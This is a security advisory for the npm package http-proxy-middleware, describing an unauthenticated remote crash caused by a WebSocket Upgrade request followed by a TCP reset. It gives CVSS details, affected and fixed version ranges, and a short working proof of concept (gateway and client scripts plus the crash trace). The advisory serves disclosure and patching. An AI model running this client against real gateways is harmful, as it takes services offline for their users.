GHSA-hvp5-3mrg-q5hg

Suggest an improvement
Source
https://github.com/advisories/GHSA-hvp5-3mrg-q5hg
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-hvp5-3mrg-q5hg/GHSA-hvp5-3mrg-q5hg.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-hvp5-3mrg-q5hg
Aliases
Published
2026-12-01T18:41:09Z
Modified
2026-12-01T19:00:04Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
http-proxy-middleware: Unauthenticated remote gateway crash via an `Upgrade` request to a path outside `pathFilter` followed by a TCP RST (ws: true)
Details

Proof of concept

  1. run gateway.js
import http from "http";
import { createProxyMiddleware } from "http-proxy-middleware";

const neverTrigger = () => console.log("neverTrigger");

const proxy = createProxyMiddleware({
  target: "http://example.com",
  pathFilter: "/ws",
  ws: true,
  on: { error: neverTrigger }
});
const server = http.createServer((req, res) => proxy(
  req,
  res,
  () => res.writeHead(404).end()
));
server.on("upgrade", proxy.upgrade);
server.on("error", neverTrigger);
server.on("clientError", neverTrigger);
server.listen(5056, "127.0.0.1");
  1. run client.js
import net from "net";

const socket = net.connect(5056, "127.0.0.1", () => {
  socket.write("GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n");
  setTimeout(() => socket.resetAndDestroy(), 100);
});
  1. gateway process crash
node:events:505
    throw er; // Unhandled 'error' event
    ^

Error: read ECONNRESET
    at TCP.onStreamRead (node:internal/stream_base_commons:221:20)
Emitted 'error' event on Socket instance at:
    at emitErrorNT (node:internal/streams/destroy:170:8)
    at emitErrorCloseNT (node:internal/streams/destroy:129:3)
    at process.processTicksAndRejections (node:internal/process/task_queues:90:21) {
  errno: -54,
  code: 'ECONNRESET',
  syscall: 'read'
}

Node.js v24.22.3

Impact

A remote unauthenticated attacker can crash the whole gateway process with a single Upgrade request and a TCP RST, even when on.error and the server's error and clientError events are all handled.

Database specific
{
    "cwe_ids":  [
        "CWE-248"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-12-01T18:41:09Z",
    "nvd_published_at":  "2026-11-30T23:17:24Z",
    "severity":  "HIGH"
}
References

Affected packages

npm / http-proxy-middleware

Package

Name
http-proxy-middleware
View open source insights on deps.dev
Purl
pkg:npm/http-proxy-middleware

Affected ranges

Type
SEMVER
Events
Introduced
0.8.0
Fixed
2.0.12

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-hvp5-3mrg-q5hg/GHSA-hvp5-3mrg-q5hg.json"

npm / http-proxy-middleware

Package

Name
http-proxy-middleware
View open source insights on deps.dev
Purl
pkg:npm/http-proxy-middleware

Affected ranges

Type
SEMVER
Events
Introduced
3.0.0-beta.0
Fixed
3.0.11

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-hvp5-3mrg-q5hg/GHSA-hvp5-3mrg-q5hg.json"

npm / http-proxy-middleware

Package

Name
http-proxy-middleware
View open source insights on deps.dev
Purl
pkg:npm/http-proxy-middleware

Affected ranges

Type
SEMVER
Events
Introduced
4.0.0-beta.0
Fixed
4.2.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-hvp5-3mrg-q5hg/GHSA-hvp5-3mrg-q5hg.json"